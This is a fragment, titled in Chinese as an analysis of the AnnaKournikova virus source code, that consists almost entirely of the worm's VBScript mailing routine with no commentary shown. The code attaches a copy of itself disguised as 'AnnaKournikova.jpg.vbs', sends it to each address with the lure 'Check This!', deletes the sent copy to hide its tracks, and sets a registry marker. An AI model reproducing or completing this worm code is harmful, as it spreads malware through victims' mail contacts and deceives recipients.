AnnaKournikova病毒源代码解析

item.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""

set attachMents=item.Attachments

attachMents.Add fileSysObj.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"

item.DeleteAfterSubmit = True

If item.To <> "" Then

item.Send

shellObj.regwrite "HKCU\software\OnTheFly\mailed", "1"

End If

Next

End If

Next

end if

End Function

'Vbswg 1.50b